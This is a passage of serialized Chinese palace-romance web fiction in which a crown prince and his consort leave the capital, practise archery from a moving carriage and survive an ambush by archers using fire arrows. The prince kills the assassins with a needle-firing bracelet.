高守接着道:“据说她是江南人,今年中秋左右的时候来了京师,只是不知为何走投无路,入了春风楼,成了里头一个靠卖唱为生的歌女。” 高守道:“臣已派人去江南,不日该有消息传回来。” “春风楼?歌女?” 李岏重复道,他好一会才想起来这春风楼为何有些耳熟。 她的生母,听闻便是从这楼里出来的。 转头,却见内室里,柔和烛光下,宋轻风正与顺意大眼瞪小眼,全福也凑在一旁,不知说了什么,她笑得开心,眉眼弯弯,嘴角的梨涡若隐若现。 她似乎察觉到了他的目光,转过了头来,嘴角笑意未消,眉目染着烛火。 李岏心中一紧,立刻转回了头。 开了旁边的小窗,湿风扑面,迫使自己冷静下来。 一个歌女的身份,如何会出现这宫里,在回露殿? 他们怎么可能会莫名其妙安排这样一个人靠近他?难道只是为了羞辱他? 他想来想去,竟一时想不到他们的意图,仿若一片迷雾,迷在了眼前。 李岏心中有一瞬间隐隐的不安。这感觉,已经好久未曾出现了。 这些年,他不敢有丝毫松懈。 即便是发生的一件不起眼的小事,也总要反复琢磨。 因为只要自己有一点疏忽,或者露出一点破绽,便立时就会有人撕杀过来。 就像以前他还年少时。 就像前不久,他不过偶关照了一点老十,这孩子便被人盯上,软硬兼施,煽骗引诱,到底将他拖下了这趟混水。 在此之前,他虽活得卑微可怜,却至少还好好地活着。 而今在那宗正寺,那个满怀愤恨,面容扭曲,凄厉惨叫的少年,哪里还有半点孩子的模样? 而他若是败了,只怕下场并不会比他好多少。 这东宫里现有的所有一切,都会随着他的失败,烟消云散。 一阵狂风突然响起。 阴沉了一日的天,又下起雨来,潮湿的地面,又被雨点噼里啪啦地击打。 寒气丝丝缕缕地渗透进来,烛火摇曳了瞬间。 全福忙带着人,将屋内几处没关牢的门窗全都关了。 方关好的门上却突然传来轻微的三声叩门声。 全福低声问道:“谁?” 门外小太监道:“是奴婢,谨言。” 全福开了门,谨言身上衣裳微湿漉,帽子上也滴着水,他不进屋,只是跪在门外,对着李岏磕头道:“太子殿下,方才宗正寺来报,十殿下在宗正寺,畏罪自杀了。” “什么?”全福下意识惊叫一声,忙捂住了嘴。 外头黑雨哗哗。 李岏面色瞧不出变化,挥了挥手,让他下去。 全福呸了一声,却道:“要奴婢说,这十殿下敢戕害殿下,恩将仇报,死也不冤了他,只是难道他还真有胆子畏罪自杀?” 李岏并未开口。 这宫里,想要一个人死,多得是悄无声息,让人自戕的法子。 他是不是自杀不要紧,要紧的是,他在宗正寺里死了,而且他到底是个皇子。 全福果然皱眉道:“宗正寺莫非……” 李岏脑中现出那夜里,老十缩在角落哭泣的身影。他被侍卫从缸后揪出来,想哭又不敢放声地哭。 他那时脑中飘过的,是一个很久远的记忆。 有一个小小的身影,浑身乱颤,死死地捂住嘴巴,虽未发出声音,他却知道,她已哭得天崩地裂。 后来她抓住自己的袖子,目中满是希冀与小意:“你能救下我,你能救救我娘吗?” 他自然不能,他并没有起死回生之能。 她眸中的光彻底暗淡下来,一把爬起来,转身就跑走了。 老十被人拖出来,他畏畏缩缩,看向自己的目光里,分明是小心翼翼又想要亲近讨好的。 这个自己从未关注过的弟弟,而今就这般消散在这秋日。 这宫禁的一切,却丝毫未有变化。 这些绵绵不绝的风云,不知哪日才能风吹云开。 李岏心中有些憋闷,方要转身,却不知何时宋轻风已来到了旁边。 她扒在门边朝外看道:“又下雨了,这一天天的尽下雨。” 而后转过脸来笑道:“还好殿下过几日才出门,如今外头再大的雨,咱们好好呆着,倒也不怕。” 李岏看着她的笑脸,突然面色发白,红唇失了血色。 宋轻风一惊,问道:“您怎么了?” 李岏只觉得额顶一阵眩晕,扶住了全福的手。 全福扶着他慢慢坐下来。 他便半躺着,仰面扶额,面容冷淡,神色不明。 方好了没多久的心情,看来又陷入了低谷。 全福看了看宋轻风。 宋轻风却盯着他额角的伤口看了好一会,才扯了嘴勉强笑了笑道:“殿下不若早些歇息吧?休息好了才能有精力做事。” 全福苦着脸,叹息一声。 而今这满宫风雨,他不知哪里来的预感,只怕这维持了几年的平衡,就要打破了。 旁边顺意捧着药碗捧得手发酸,方才殿下说等等,他自然不敢给宋娘子。 谁知殿下是什么主意,若是从此免了宋娘子的汤,也说不得。 好在宋轻风心情甚好,也不着急了。因为顺意方才说他出去,正遇到太医,便问了问,太医拍着胸脯说,这药药效很有保证,十二个时辰之内都是做数的。 既如此,她自然不会急于一时。 此刻李岏抬头,正瞧见顺意,目光自白瓷碗上扫过,眸光在灯火中显出幽暗,却听他的声音响起:“凉了,去热一热再送来。” 顺意忙应声道:“是。” 心中却有些遗憾,原来是方才想多了,宋娘子到底身份摆在这里,殿下又怎会为她破戒? 宋轻风并未多想,当即行了一礼道:“天色不早,妾先去内室等着了。” “嗯。” 李岏听到脚步声渐趋渐远,他抬手拿起手边的药膏。 食指一挖,一抹厚重的白色药膏在指尖上,他凭着感觉,就随意抹在了额头的伤口上—— 作者有话说:晚安~ 第50章 第 50 章 出京 宋轻风方睡醒, 并不困。 不过拿起床头的笔,又开始写信。 云逍与她东拉西扯,言辞虽然一向不正经, 但字里行间又极真诚,她能想到他写信时笑嘻嘻的模样。 宋轻风这两日将他当了一个笔上好友,信里也不再只是讨论射箭, 她和他讲西北的情形, 她自小最怕的就是冬天,冬天是一年中最难捱的时候。 而往年这个时候, 西北的鹅毛大雪已开始落天而舞,她大多数时间都只能找个地方躲起来。 破云庙实在太破,平日里遮风挡雨还行, 到了冬日寒风呼呼, 四处漏风。 好在他们会提前捡树枝回来,搭个挡风的树棚。 她记得腊月底,跟着兰哥哥去逛集市,路过一个大户人家, 屋子里炭火烧得足, 烧得连墙壁都是热烘烘的,他们两靠在墙壁上当火炉子来烤了好一会。 写到此,宋轻风停了停, 想起外头的太子。 他自小钟鸣鼎食,金堆玉砌里长大, 这住的地方冬暖夏凉, 世上再没有比他更幸福的人了。 可他昨日生辰,却顶伤回来,一身的冰雨, 脸上是令人心惊的寂寥与悲痛。 他的眉宇间,总是萦绕着令人不敢直视的冷意与淡漠。 叫他与兰哥哥原本七八分相似的外貌,却又变成绝然不同的两个人。 想来,他其实并不如外人看起来这般养尊处优,也是有些可怜的。 生辰之日看着光鲜,却又有多少真心实意在里头? 他受了伤,看着众人讳莫如深的模样,就知道这伤来得并不简单。 连生辰的时候都这样,平日里谁又知道是怎么样的? 宋轻风一时笔头顿了顿,咬了咬唇角,心头闪过一丝愧疚。 不过好在自己对他并不重要,只是他不得不接受的一个人。 他不久以后就要有自己的妻子,妻子生的孩子。 这样挺好,她走的时候,他们两人之间也不会有任何牵绊。 这辈子也都不会再见了。 她从怀里摸出那只拇指大的小葫芦,托着腮帮子看了看窗外,寒雨潇潇,啪打在窗沿上。 宋轻风轻轻推开窗。 哗啦啦的雨声立刻冲进来,天地之间一片黑沉沉。 她眯着眼睛,在黑雨中找到了藏书阁的方向。 高高的檐角下,铁铃铛隐约作响。 里头此刻想必是灯火通明。 前不久她以去找棋书为名,得了太子的首肯,去过藏书阁,那一趟便被里头多如繁星的书震惊住了。 据那管事太监说,藏书阁里,藏着这世间最全最罕见的书,是无价的珍宝。 当然听闻阁里还有一个小型的宝库,藏着这宫里不少的宝物。 管事太监说里头的东西太多,外人不能轻易动,否则一旦弄乱了,主子们要起书来,找不着就麻烦了。 因此此处守卫森严,走到哪里都有人跟到哪里。 要想从中找到东西,非一般人所能及。 方才她在外殿听到了太子的话,以那些人的能耐,都未在阁中找到东西,看来,东西很大可能不在藏书阁。 不在藏书阁,那还剩两处地方。 不过之前这东宫里头的那个锦盒,会不会就是呢? 顺意掀帘进来,见宋轻风窝在小几上正在发呆。 闻到药味,宋轻风回过神来。 只是今日这药,许是热了几回的缘故,味道浓得她忍不住脸皱成了包子。 她方吃完饭,一时又有些喝不下。 况且她还惦记这十二个时辰的药效,能晚一刻是一刻了! 宋轻风皱了皱眉头,却又笑道:“放在这边,等我消消食再喝。” 顺意见她这种大雨天还开着窗户吹凉发呆,知道她虽然面上勉强露出笑,但心中肯定是极不好受的。想要宽慰她,又一时不知从何宽慰起。 照他看来,殿下与宋娘子还是有些相配的,若说哪里相配,他也说不出来。 但就是两人有许多相同点。 但是哪里相同,他也说不上来。 如今瞧她可怜,她也一向在喝药上积极,他也不忍心催促,只道让她趁热喝了才是…… 李岏进来的时候,一眼看到宋轻风趴在书案上睡着了。 只是屋内冷得人一哆嗦,而她下意识地缩成一团,脸色有些发白,嘴唇发乌。 他一眼瞧见窗户居然还开着,冷雨斜风就这般吹进来。 风寒刚好,还这般不知道轻重! 那日在雨里冻成那副模样,而今又这般不爱惜自己的身体! 李岏面色发青,咬着牙一步跨过去关窗户。 手上正用力,却突然醒过神来,最后的时候收住了,窗棂碰在他的手背上,发出沉闷的钝响。 李岏却怒火未消,一把从软榻上扯了被子扔过来。 余光却瞧见放在她手边的一个白瓷碗,隐约瞧见碗底残留着黑色的药渍。 而她的唇角发乌,原来是这残留的药汁。 他心中的怒火转瞬就消了彻底,偃旗息鼓。 自她入东宫,眼里一心一意地都是自己。即便是自己冷言冷语,从未给过好脸色,她也从未怨言,对着自己的时候,一直都是笑模样。 即便这药这般苦,她一个爱吃糖的人,还是一声不吭地咽了下去。 她这般样子,他怎么放心将她留在这里。 李岏心中发胀,上前去要抱起被子里的人。 哪知宋轻风便醒了。 她浑身发冷,迷迷糊糊地扯紧了被子,瞧见他冷着的脸,不由道:“怎么了?” 李岏只是冷着脸不开口。 宋轻风四处瞧了瞧,见门窗关得紧实,忍不住道:“好冷啊!你这屋子怕不是漏风吧。” “” “您这么晚到这来……”宋轻风双目一转。 李岏冷着脸道:“没什么,这本来就是孤的内室。” 他虽然说话硬邦邦,脸色却转了柔和,每次这个时候,都与平日里极不相同,却与记忆里的人重叠在一起。 宋轻风心中一跳,一眼扫到桌案上的碗,不由抓住了他的手道:“喝都喝了,总不能浪费吧?” “什么?” 宋轻风身子底子好,一向恢复得极快,人也精神过来,一把将他推倒在软榻上,忍不住笑道:“若是您能再多笑笑,就好了。” 李岏抬头看着她,眸色黝黑,过了好一会才哑声开口道:“我不会,你教教我。”。 雨下了三日,天果然放了晴。 碧空如洗,万里无云,居然还有鸟叫。 宋轻风掀开车帘,看着周围景色极速地后退。 远处的宫城,越来越远,渐渐露出全貌来。 隐隐瞧见晨光中,金顶熠熠,宫顶上的乌鸦盘旋来去。 她在里头生活了这么久,乍一出来,竟觉得过去数月都是做梦一般。 直到身旁有人道:“后面要加快速度了,合上吧。” 宋轻风放下车帘,这才好奇地问道:“怎么您出行的阵仗突然变得这么小,方才旁边的东宫卫们怎么也不见了?” 李岏默了默道:“太子仪仗去了西山大营,我们单独走。” 宋轻风这才问道:“去哪里?” 李岏沉默了一瞬,宋轻风以为他不会回答了,好一会却听他又道:“去寻一个人,不久前我新得了他的消息。” 宋轻风诧异地道:“寻一个人?” 他这般费心思跑出来,是为了寻一个人? “男的还是女的?”宋轻风忍不住八卦心起,“他对你很重要?” 李岏脸色黑了□□:“他叫沈渭,只是多年前的故人。” 宋轻风等着他继续,哪知他却又住口不言了。 但是她好奇心重,心痒难耐,还是忍不住道:“他是故人?你的好友?为什么这么多年没联系?你寻他做什么?” 这么一连串问题,原没指望他回答,哪知李岏却开口道:“算不得好友,我们只是熟悉,十多年前他消失在京师,我便再没有见过他。”—— 作者有话说:晚安~《 》 50-60 第51章 第 51 章 司南 马车一路疾驰, 好在出京有官道,平整又顺畅。 此次离开仪杖单独出来,为了不招耳目, 马车并不大,从外表看来与路上的马车并无区别,连明面上随行的侍卫都很少。 两人坐在里面便离得近, 都清醒的时候还好。此刻宋轻风在晃晃悠悠里打起了瞌睡。 两人的膝盖便时不时地撞在一处。 李岏原还看书, 可看了一会也看不进几个字,只觉得膝盖上时有时无的温润触感, 叫他分心。 突然一阵异样,抬眼发现她居然一把趴在了自己的膝盖上。 李岏皱眉,抬了抬腿想要将她唤醒。哪知她迷迷糊糊中却嘟囔道:“好暖和啊!” 许是在他的动作下找到了更舒适的位置, 扭了扭头, 竟抱着他的膝盖睡得更沉了。 李岏无语,动作顿住到底放弃了。 宋轻风醒过来的时候,才发现自己抱着根大腿,暖意一阵阵烘着, 她似乎想象到这光滑细腻的布料下, 是那两根修长无暇的腿。 她面色一红,抬头瞧见大腿的主人,眼睛闭着, 撑住下巴安静地一动不动。 宋轻风瞧着他近在咫尺的脸,眼下的红痣鲜红。 她忍不住盯着看得出了神, 看了不知多久, 却叫她瞧出这红痣似乎有些异样。 方要伸手,他却睁开了眼睛,眼神里一片清明。 宋轻风尴尬地缩回了手, 说着废话:“你醒啦?” “嗯。” 宋轻风正想没话找话,突然感觉窗户似乎映着一片红霞。 她忍不住掀开车帘,果然瞧见夕阳西下,余晖照晚,正是傍晚时分。 周围极是陌生,远处村庄炊烟袅袅,隐约可见。 她悄悄问不远处的高守道:“高手大人,这是到了何处?” 高守看了一眼道:“是沧河郡。” 得,她并不知沧河郡在何处。 李岏双腿发麻,失了知觉,他忍不住揉了揉膝盖,好一会才感到血脉畅通。 宋轻风转回头,他立即松开揉膝盖的手,道:“再有两日,便到了。” 不一时,却见她开始扣衣摆,显然有些无聊,不由道:“打开。” “打开?”宋轻风不明所以。 却见的他目光自自己的双腿上一扫而过。 她不由面色胀红,结结巴巴地道:“这个时候,这个地方,不,不,不太好吧?” 李岏眉目不动地道:“天色将晚,视线不清,正是好时候。” “啊?”宋轻风见他面色淡然,却说出这样的话来。 行了大半日,早已没有官道,小路崎岖不平,车身难免颠簸。 若是在这里…… 她瞧了瞧他正襟危坐,还未扭捏完,却见他已俯下身来,大手一拉,就将一物自她的软凳低下拉了出来 宋轻风才明白过来,他说的是什么。 她这些日子连着风寒,在方华殿养伤,只看了书,正自手痒。她今日出门,将弩箭也一并带上了。 此次出门在外,视野开阔,正是练射箭的好机会。 果然他打开箱子,从中拿出那只弩箭来。 宋轻风忍不住捂住自己滚烫的脸,埋下了头。 李岏奇怪地看了她一眼,却手指一拉,只听嗡的一身,箭弦空震的声音响起。 宋轻风有些尴尬地转移话题道:“这是马上就要停车了?提前准备一下也好。” 李岏双目看着箭身道:“曾有人与孤说过,你在校场上对着靶子,练一辈子的箭,也只能练成中上之姿。” 他说完,哗地一声将车窗拉大,宋轻风并不见他如何动作,就见一只小箭已上了弦。 而后他修长的手指微微一松,只听一声极轻微的“嗖”声,那箭瞬息之间,向远飞去。 黄昏时候,视线本就模糊,距离又太远,只瞧见它似乎定在了远处的树干上,其余瞧不清。 马车疾驰中,正经过树旁,宋轻风一眼瞧见那箭还在轻微震动,而箭上串着一片飘落的枯叶。 她不由目瞪口呆。 想起云逍夸张地说他百步穿杨,原来并非夸张,而是实话。 李岏却并未瞧窗外,而是将箭身挽了个漂亮的弧度,将箭托对了她道:“没有敌人会站着不动等你来射,唯有在这种情形下练出的箭,才有望成为上上。” 宋轻风颤巍巍接过箭来,面色有些难看地道:“这……这也太难了吧,我还是个新手啊。” 李岏抱着手,仰靠在车背上道:“新手正好,省得去纠正那些坏习惯。” “” “和那本射经上讲得也不一样啊?” 李岏道:“让你看那本书,不是让你学书上的方法,而是让你知道,哪些方法学不出好箭。” “” 宋轻风一阵无语。 他不早说,亏得自己翻来覆去,将那些字图烂熟于心,还就如何正确地使用这书上的方法,与云逍那个笔友聊得热火朝天。 宋轻风摸出一根箭来,拉上弦,眯着眼睛方瞄准远处的一片落叶,哪知马车已飞速上前,那落叶在风吹之下飘飘向下,根本连瞄准都难…… 她托举了半天,天色越来越暗,眼睛都睁得有些发酸。 只能用力眨一眨,继续去寻找下一个目标。 李岏一声未吭,看着她徒劳地瞄准一个又一个目标,好一会却连一只箭都未曾放出去。 她犹自全神贯注,面上并未见泄气,小巧的红唇上是她咬的齿痕,绿色的发带在寒风中起舞。 他心中一动。 模模糊糊中,似乎是很久远的一段记忆里,曾有一根这样的发带,在乌黑的秀发上,迎风飞舞。 自第一眼偶然得到这发带,他便觉得有些眼熟,只是这熟悉的念头一闪而过,他从未深究。 可而今,这迷糊的记忆,叫他一时分不清,是曾做过的梦境,还是现实。 他来不及深思,却听“嗖”地一声,宋轻风射出来这半个时辰以来的第一根箭。 落日余晖也在她射出的最后一瞬,彻底失了光芒。 夜幕彻底降临了。 宋轻风懊恼地叹息一声。 不必看,她也知道那箭落了空。 李岏道:“天色昏暗,马车飞驰,寒风渐起,落叶飘零,你要做的,不是靠眼睛去瞄准目标,而是在这些多变的环境里,计算出目标的下一步在何处,只有提前预判对方的动作,才能一击即中。” 宋轻风揉了揉发胀的眼睛,不两下眼泪便揉了出来。 她放下箭,这半个时辰才知这移动中射落叶,比她料想得难上千倍,一时愈发佩服方才太子露得那一手。忍不住瞧着他连连夸赞:“太子殿下您实在是太厉害了!您怎么能这么强啊!您平时瞧起来弱不禁风,文文弱弱没力气的,居然还有这么一手绝活,百发百中,叫我心悦诚服,甘拜下风……” 暮色之中,李岏隐约见她一双水汪汪地眼睛盯住自己,满是真诚,嘴角开始不自觉地上扬,可还没扬上去,却越听却越觉得有些怪,怪得他只觉得嗓子发痒,痒得他面色发红。 好在车内还没来得及点灯,无人发现。 车速慢慢降了下来。 行了一路,宋轻风忍不住摸了摸肚子,饿了。 高守拍马上前,在车窗边抱拳道:“太子殿下,今晚扎营的地方到了。” 李岏嗯了一声。 果然听到车夫一声“吁”,周围马匹齐鸣,马车彻底停了下来。 高守已飞跨一步来到车前,掀开车帘。 李岏先一步下了车,宋轻风下车时,他正站在车下微仰头看她。 宋轻风二话不说,撑着车辕一步跃了下来。 李岏收回了欲要伸出的手,看了她一眼,便转身与高守往营地里去。 高守道:“此次准备地有些仓促,殿下您受委屈了。” 李岏淡声道:“无妨,摆膳吧。” “是。” 他不过是临时变了主意,将宋轻风一并带了来,原本骑马的路程,而今坐车自然是慢了许多,与原先计划的扎营点相距甚远。 宋轻风见树下已摆好了好几只营帐,几个先锋早已来此,提前准备好了晚饭一应等物,空气里都是香气。 连在外头风餐露宿,都搞得这般周到。 她忘了饿,好奇地走上前去,忍不住将这营地里这些奇怪的物什里里外外瞧了一通。 什么烧火却不怕风吹的锅,她吹了好几口气都没能将火吹灭,还有嘴巴一吹就冒出火来的金色管子,还有既有刀又有榔头又有夹子的奇怪的东西…… 李岏进了营帐,呆了好一会也不见人进来。 高守见他方才一下车就要用膳,此刻却又只是坐在一旁并不动箸,一时有些不安地道:“殿下,可是有何不妥?” 李岏默着脸不说话,好一会见还是毫无动静,他忍不住起身掀开帐,便见她蹲在地上,手中一根司南,正一下一下用力拨着那针,直将那针拨得晕头转向,滴溜溜直转…… 营地里的灯笼在风中晃动。 她蜷成一团,睁着圆圆的眼睛,看得专注,嘴角都是笑。 似乎感觉到他的目光,她抬起头来忍不住献宝:“太子殿下您瞧,这针怎么转都指着一个方向呢!” 李岏一时有些失笑。 这再正常不过的司南,他从未想过,会成为这世上这般新奇有趣的东西。 他忍不住走上前去。 不想宋轻风一把抓住他的手,用力地拨了那针道:“你瞧!” 那针转得飞快,好一会才停下来,晃晃悠悠地朝着南方,宋轻风惊喜地道:“瞧见了没瞧见了没!” 李岏感到自己拨针的行为有些傻气,却忍住了,只是点头道:“嗯。” 宋轻风依依不舍地将司南递给一旁的侍卫。 李岏开口道:“你喜欢,便拿着玩吧。” 宋轻风却连连摆手道:“不用不用。”说着一把塞给了侍卫—— 作者有话说:晚安~ 第52章 第 52 章 又是地动? 一路上, 宋轻风索性趴在窗口,也不取箭,只是用目光去校准路边的枯树叶。 马车从崎岖小路, 行到一处山脚。 这山并不高,山下想必人迹罕至,马车走的路愈发荒凉, 上头落叶积了厚厚一层。 深秋天气, 一切却格外清新养眼。 叫人心旷神怡。 连一向不苟言笑的高守,脸上都露出丝笑意来, 忍不住眯眼可惜道:“宋娘子,您方才这箭就偏了半寸。” “那可不,看来我有当神箭手的潜质!” 宋轻风正自得意, 车内李岏却凉凉地道:“失之毫厘, 谬以千里。” 她悻悻地收了得意的笑脸,抓了箭头来继续瞄准。 高守忍不住默默同情了一瞬。 以宋娘子这女子之身,不过一日就这般成果,分明就是个神箭头的好苗子! 殿下的要求未免也太严格了些。 他原看不惯这女子, 此刻倒是生了些惜才之心。 宋轻风从清晨看到午后, 看得眼冒金光,却似乎渐渐瞧出感觉来了。 尤其眼前这片叶子,居然按着她预想的方向飘落了! 宋轻风浑身激动, 手指一用力,箭方上了弦, 耳中却一道破空之声传来。 宋轻风疑惑地转头, 什么都还未瞧清,却突然感到浑身被大力一推,自己就被人压在了身下。 而一道铁箭, 呼啸着自她脸颊擦面而过,而后嘟地一声丁在了一旁的车厢上。 那擦着皮肤箭身冰冷的触感,激得她浑身汗毛倒竖。 宋轻风后知后觉地意识到自己方才离被铁箭射穿脑袋,只差一根头发丝的距离! 未及多想,却听“啪”地一声,车窗内的木门拉了起来。 关闭的木门外传来接连不断地嘟嘟声,密密麻麻地大力敲击,竟不知随之而来的,有多少只箭羽! 宋轻风惊魂未定地抬头。 车厢内陷入一片黑暗,只有车厢头顶的一盏夜明珠发着微光。 而头顶上,李岏的面容近在咫尺,幽蓝的光线里,他薄唇紧抿,眉心锁着一片寒凉。 自己正被他压在了身下。 宋轻风明白了,这是太子出门遇到了刺杀! 太子此次出门带的随从甚少,可光听对方这源源不断,射向车厢的箭声,也知道对方必然人多势众,将他们彻底包围了! 李岏却已起身,将她拉坐了起来。 他冷着脸,目光自她的面上一扫而过。 在对方源源不断地攻击下,车厢晃悠地厉害。 车身上密密麻麻的箭声不停,伴随着激烈的兵器交戈之声。 没有喊叫声,甚至没有人声,可沉闷的落地声,锐利的铁器交击声,刀锋划过皮肉的声音,叫人头皮发麻,一阵恶寒。 宋轻风看着他,面上血色尽褪。 久远的记忆蜂拥而至。 乱血残阳下一去不复返的背影。 伸手不见五指,永远也跑不到尽头的胡同。 混乱的记忆叫她忍不住浑身乱颤。双眼发黑间,死死抓住了面前人的衣襟。 干涩的喉咙间,是发不出的声音。 李岏衣领被抓,脖颈被卡住,甚是狼狈。 方要伸手扯开她,才察觉出她的异样,瞧见她圆圆的双目中,满是失措惊慌,呼息急促。 他没想到她会被吓成这般,心口如被掐住了一般,忍不住握紧了她发凉的手,轻声道:“别担心。” 许是掌心的温度慢慢叫她从混乱中回过神来,也或许是他的话起到了作用。 宋轻风从一片混乱中回过神来。 看着面前的李岏,见他双目牢牢地看着自己。衣衫凌乱,梳得整齐的发丝也垂落下来些许…… 面容白净,却是鲜活的。 她忍不住扑上来抱着他,结结巴巴地道:“你知道吗,我,我真的好怕。” 怕连你也不在了。 这世上,似乎与她有关系的人,一个都不在了。 小小的人,依靠在自己的怀里,她这般瘦弱可怜。 李岏想到,她若一日离了自己的保护,不知又受了多少委屈。 一时心化成一片湖水。 抚着她的背道:“不用怕,我没这么容易死的。” 宋轻风抱着他道:“真的么?” “嗯。” 李岏扯了扯嘴角,看着漆黑的车厢道:“自小到大,早就习惯了。” 被刺杀习惯了,就如吃饭吃习惯了一般。 不过后来实在嫌烦,索性到哪都摆足了阵仗。 太子仪仗到哪都浩浩荡荡一大群人,生怕旁人不知。 这样确实省去了许多麻烦,没有人胆敢这般明目张胆的动手。 那就不是刺杀,是造反了。 便是他的好父亲,也不敢轻易动手。 只是这一回,他们显然不想放过这千载难逢的机会。 突然宋轻风鼻端传来异味,她用力地吸了吸,而后变了脸色:“是糊味!” 李岏面不改色地道:“他们的箭上撒了火油。” “啊!”宋轻风一惊,就这嘟嘟嘟不绝的射箭声,她已能想象到,而今他们坐的这辆可怜的马车,已成了一只满身是火的火刺猬! “你早知道?” 李岏道:“嗯。” “那我们还呆着这里!这不成了瓮中捉鳖了吗!不,是烤鳖!” “……”有人形容自己是鳖的吗? 李岏道:“这辆车,水火不进,刀斧不能劈。” “啊?” 这车与他那些东宫的车比起来,又小又破,不想居然还有这作用。这是什么材质做的? 她忍不住摸了摸车厢壁,触手冰冷坚硬,确实木头的触感。 不及想,却突然一阵地动山摇,如天地劈开,振聋发聩的声音传来。 整个车厢卡擦一声,剧烈地抖动。车内两人未曾准备,被震地险些扑倒在地。 外头马嘶人声突然涌起。 按照这抖动的程度,若是普通的马车,只怕早已四分五裂。 这……这是什么动静? 难道是地动了?! 高守一直寸步不离地守着马车,击挡着射来的飞箭。 此番突然地变化,叫他一向没有表情的脸上多了凝重,他稳住身型,一边将剑舞成剑花防止突然的袭击,一边低声道:“太子殿下,臣还不知这是何动静。” 李岏将宋轻风按在软座上,一边稳住身形,啪地打开了车窗。 宋轻风这才瞧见外头的情形。 跟随的侍卫弃了马守成了一排,而地上,七七八八地躺着许多人影,还有哀鸣的马,许多绑着火油的箭头在地上噼啪燃烧。 方才还一片安宁的野地上,转眼竟成此情形。 此刻这震动又起。 眼见着旁边的小山上落石滚滚。 高守道:“不好,前头的路被堵了。”前头的路上落石滚滚,方才一阵箭雨,现场马匹损失过半。 李岏与众人道:“弃马上山。” 说着一把搂住宋轻风的腰,宋轻风慌忙中抓住自己的箭,二人自马车跃下。 脚底的地面还在震动,晃得人眼睛发花,看着山体都似乎有些倾斜了起来。 众人听命,逆着滚石,便往山上奔。 李岏紧紧拉着她的手不放。 好在山只是小山,众人几个起跃间,还没到半山腰,来不及喘息,却听高守道:“小心左边。” 话音未落,果然从左边冒出一串带着火油的箭来。 火油的味道袭面而来,箭头带着劲风,危势逼人。 众人停在半山腰的枯地上,避无可避。 一个不慎,就会被扎成火刺猬。 宋轻风默默地抓紧手中弩箭,紧紧贴在李岏旁边。 好在这次,她与他呆在一起。 高守带人组成半圆,护在李岏和宋轻风身前,众人长剑在手,舞成了满月。只听叮叮当当,箭全落在地上,一只也未近身。 地上的枯枝却被引燃,风起处,火势渐渐大了起来。 高守面上生了焦急。 这般僵持下去,下一波箭雨飞来,他们就算全都挡住了又如何,这山林火起,他们谁也逃不掉。 可此刻,箭雨密集,谁也分不出手来去理会地上的火。 宋轻风被众人围着,知道自己也帮不上忙,只能低头去猛踩地上的火星子。 可她一双脚有限,活动的区域也有限,这箭上更是有火油很难扑灭,再用力地踩也不过是杯水车薪。 旁边李岏便冷着脸一动不动地站着,既没有躲着,也没有出手。 好在一波箭雨飞完了。 不过瞬间,李岏便松开宋轻风的手,一步跳到了旁边的大石头上,站在了最高处。 他长身而立,一身玄黑色袍脚飞扬,眉目清冷。 宋轻风感到身边一空,下意识想要抓住他,却到底忍住了。 下一波箭雨马上就要来,他赤手空拳,怎么站这么高成了活靶子!可不知为何心中没来由地信任他。 但她还是紧张的面色发白。 李岏冷着脸道:“没有下一次了。” 说着左手微抬,移动间几道金光自他手腕间飞跃而出。 密密麻麻快如闪电,叫人瞧不清是什么东西。 而他射向的远处草丛方向,只听到一阵阵闷哼,而后突然“轰”地一声,烟尘四起,树摇地动。 像是一道闪电劈了下来,声音并不如方才那莫名的震动大,却叫人耳膜发鼓,头皮发紧。 下一波箭雨没有来。 烟尘还没落尽,高守却已持剑飞跃上前,而后回身禀报道:“殿下,没有活口。” 李岏却毫无所动,从大石上跳了下来。 落地见宋轻风睁着好奇又震惊的大眼睛看着他的手腕。 他撸开一点袖口,露出腕上一只金色的东西,与她解释道:“这是追影。” 宋轻风不合时宜地想起来,她之前隐约瞧见他手腕上好像带过一个金镯子。 原来这就是那金镯子? 看着金灿灿的手镯,威力竟这般吓人? 高守见宋轻风呆楞的模样,却并无意外。很久以前他自己第一次见殿下用这东西的时候,反应比这还夸张。 只是这些年,他也只见殿下用过一回。 众人忙四散在旁边开始灭火。 山下的震动已消失了。但是从此看去,几处山体塌方,完全压住了他们方才走过的路。 若他们方才没有上山,此刻只怕要被埋在石头底下了。 李岏看着山下的景象,负手皱了皱眉。 高守道:“殿下,不至于我们运气这么背,这里正好也发生地动吧?” 李岏道:“也?” 高守摸了摸脑袋道:“臣一时想到年中安西地动,下意识说了也。” 李岏皱眉不语。 “可若不是地动,能闹出这么大的动静是什么?”高守想了想道,“难道是在这山里,埋了大量的火药?” 李岏喃喃地重复道:“火药?” 还未及细想,却听身后传来“啊”的一声惊叫。 他心中大惊,忙回过头。 却见宋轻风站在不远处,目光直直地看着地面,脸色如纸一般苍白—— 作者有话说:晚安~ 最近事忙,更新会少一点,忙过这阵应该就好了(但愿[化了] 第53章 第 53 章 谁都能逃,你不能 宋轻风蹲在地上, 不知看到了什么,双眸中都是惧色。 李岏一步跨过来。 却瞧见她面前的是一具尸体。 这尸体裹着一身全黑,面上的布已被扯开, 露出一张年轻而陌生的脸颊,面上的讶色还未散去。 正是方才刺杀他们的刺客。 而宋轻风一边摇摇欲坠,一边颤颤巍巍拿了根树枝竟在那尸体的领口上拨来拨去。 李岏一把扯她起来道:“在做什么?” 不妨突如其来的一下, 将宋轻风吓了一跳, 激动之下一把将棍子扔了。 不巧正扔在李岏的头上,瞧见他脸侧被砸的红印, 难看的面色,宋轻风满怀歉意地低头道:“对不起啊,不小心的!” 李岏感到脸侧火辣辣地疼, 脸色变了几变。 转脸见她咬着唇, 脸色还透着白,只能无语地道:“都怕成这样了,还盯着做什么。” 说完不满地训斥旁边侍卫道:“怎么搬这里来了?不知道弄远点?” 侍卫讷讷应声道:“是,小人这就将人运走。” 他们方才去查看埋伏的人, 瞧其中这人所在的方位明显是个首领, 便将他拖在此处,要禀告殿下知晓,惯例殿下都会过目一二。 哪知却忘了今日殿下身旁还跟个娇滴滴的小姑娘。 宋轻风愣愣地看着那尸体被远走, 这才道:“我方才瞧他脖子上的伤口好奇怪。” 她方才瞧这人一身完好无损,身上连血都没有, 不知是如何死的, 好奇之下拨来拨去,却叫她瞧见脖颈处有个针眼大的洞。 她仔细拨了拨,便瞧见那小洞里还有些泛黑, 格外的瘆人。 李岏抿唇无语,她当真是对什么都好奇,却又心细如发。好一会才道:“那是追影的伤。” “啊?” 李岏毫不避讳,伸出手来,那跟瞧起来手镯模样的东西上头,有一块祥云图案,他在其中凸起的地方一按,盖子弹开,一根极细的针便露了出来。 